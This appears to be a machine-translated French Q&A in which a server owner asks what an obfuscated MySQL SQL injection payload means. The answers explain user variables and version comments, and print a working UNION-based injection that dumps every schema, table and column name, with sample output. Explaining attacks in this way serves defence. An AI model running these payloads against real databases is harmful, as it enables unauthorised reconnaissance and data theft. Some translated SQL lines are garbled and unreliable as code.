Mon serveur a été touché par la charge utile d'injection SQL suivante: -
((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))
Que signifient (@) et (@: = 0x00) dans cette charge utile?
pour une exécution autonome, la charge utile ci-dessus doit être exécutée comme: -
sélectionnez ((/ ! 12345sELecT/(@) dans (/ ! 12345sELecT/(@: = 0x00), (/ ! 12345sELecT/( @)de(InFoRMAtiON_sCHeMa
.ColUMNs
) où (TAblE_sCHemA
= DatAbAsE/données/()) et (@) dans (@: = CoNCat (@, 0x3c62723e5461626c6520466f756e64203a20, TaBLe_nAMe, 0x3a3a, nom_colonne)))) a));
La charge utile contenait l'erreur de syntaxe.
Que signifient (@) et (@: = 0x00) dans cette charge utile?
@
- est le nom de la variable@:=0x00
- est l'affectation de zéro à cette variable.Remarque: :=
est le affectateur-opérateur
Merci pour @Frank Cedeno et @strnk pour leurs questions et réponses dans les commentaires.
@Frank Cedeno - Comment/! 12345sELecT/devient select?
@strnk - Ceci est une extension spécifique à MySQL pour les commentaires SQL , le
sELecT
n'est inclus dans la requête que si la version du serveur est supérieure ou égale à 12345 (1.23.45), donc il filtre les serveurs non-MySQL
Plus d'informations:
De websec sql_injection :
Récupération de plusieurs tables/colonnes à la fois
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
Exemple:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
Production:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
Cette réponse Stackoverflow explique le code SQL:
Tout d'abord, je rendrais la requête un peu plus lisible en la reformatant:
1) SELECT (SELECT (@) 2) FROM (SELECT (@:=0x00), 3) (SELECT (@) 4) FROM (information_schema.columns) 5) WHERE (table_schema >= @) 6) AND (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name)) 7) ) 8) ) 9) a);
L'affectation de @ est la suivante:
- Dans la ligne 3, il obtient la valeur 0x00 (décimal: 0)
- À la ligne 5, cette valeur est utilisée pour le plus grand que (table_schema> = 0)
- La ligne 6 est un moyen de concaténer chaque schéma, table et nom de colonne dans @
- @ est retourné à la ligne 1 et contient une liste concaténée de vos structures
À la ligne 6, un
<br>
(0x3C, 0x62,0x72,0x3E) est ajouté à la variable pour rendre la sortie plus lisible